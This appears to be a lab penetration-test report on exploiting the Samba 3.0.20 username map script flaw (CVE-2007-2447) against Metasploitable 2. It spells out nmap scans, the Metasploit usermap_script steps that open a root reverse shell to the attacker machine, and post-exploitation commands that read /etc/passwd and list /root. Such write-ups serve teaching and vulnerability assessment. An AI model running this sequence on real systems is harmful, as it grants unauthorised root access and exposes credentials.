Penetration test for Metasploitable 2 — Samba 3.0.20 Username Map Script (CVE-2007-2447)
Disclaimer: This is for educational purposes only. All testing was performed in an isolated virtual environment on Metasploitable 2. No real systems were harmed. Do not use these techniques against systems you do not own or have explicit permission to test.
The objective of this project was to identify and exploit the Samba 3.0.20 username map script vulnerability (CVE-2007-2447) on Metasploitable 2, and to assess the level of access an attacker could gain.
A critical command injection vulnerability was discovered. Successful exploitation granted a remote root-level command shell with no credentials required, allowing full control over the target system.
| Item | Value |
|---|---|
| Target | Metasploitable 2 |
| Target IP | 192.168.56.101 |
| Attacker | Kali Linux |
| Attacker IP | 192.168.56.102 |
| Network | Host-Only |
| CVE | CVE-2007-2447 |
| CVSS | 10.0 Critical |
| Access Gained | Root |
| Authentication | None |
| Component | Details |
|---|---|
| Attacker Machine | Kali Linux (VMware) |
| Attacker IP | 192.168.56.102 |
| Target Machine | Metasploitable 2 (VMware) |
| Target IP | 192.168.56.101 |
| Network Type | Host-Only Network |
| Tool | Purpose | Version |
|---|---|---|
| Nmap | Network scanning & port discovery | 7.99 |
| Metasploit | Exploitation framework | 6.5.3-dev |
| Netcat | Reverse shell handler | Integrated |
nmap -sn 192.168.56.0/24
The scan discovered 4 active hosts, including:
192.168.56.101192.168.56.102
nmap -sV -sC -p- 192.168.56.101
| Port | Protocol | State | Service | Version |
|---|---|---|---|---|
| 139 | TCP | open | netbios-ssn | Samba smbd 3.X - 4.X |
| 445 | TCP | open | netbios-ssn | Samba smbd 3.0.20-Debian |

Samba is an open-source implementation of the SMB/CIFS protocol. The assigned vulnerability is CVE-2007-2447, affecting Samba version 3.0.20. The username map script option passes unsanitized user input directly to /bin/sh, allowing a remote, unauthenticated attacker to execute arbitrary commands with root privileges via MS-RPC calls.
msfconsole

use exploit/multi/samba/usermap_script
info

set RHOSTS 192.168.56.101
set LHOST 192.168.56.102
show options

run
whoami
id
hostname
uname -a

| Item | Result |
|---|---|
| Exploit Successful? | Yes |
| Access Level Gained | Root |
| Shell Type | Command Shell (Netcat) |
| Target Hostname | metasploitable |
| Logged in as | root |
After gaining root access, the following commands were executed:
cat /etc/passwd
ifconfig
netstat -antp
ps aux
ls -la /root

| Level | Score | Meaning |
|---|---|---|
| Critical | 9.0–10.0 | Remote exploitation, no credentials, full system access |
| High | 7.0–8.9 | Significant damage, some conditions required |
| Medium | 4.0–6.9 | Limited impact, specific configuration required |
| Low | 0.1–3.9 | Minimal impact, difficult to exploit |
| Info | 0.0 | Informational finding, no direct risk |
| Item | Value |
|---|---|
| CVE Reference | CVE-2007-2447 |
| CVSS Score | 10.0 (Critical) |
| Risk Level | Critical |
| Attack Vector | Network |
| Authentication Required | None |
| Privileges Gained | Root |
| Impact on Confidentiality | Complete |
| Impact on Integrity | Complete |
| Impact on Availability | Complete |
This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands with root privileges. An attacker does not need valid credentials or user interaction. In a real-world scenario, they could steal sensitive data, modify or delete critical files, install backdoors, and pivot to other systems in the internal network.
username map script option in smb.conf if not required.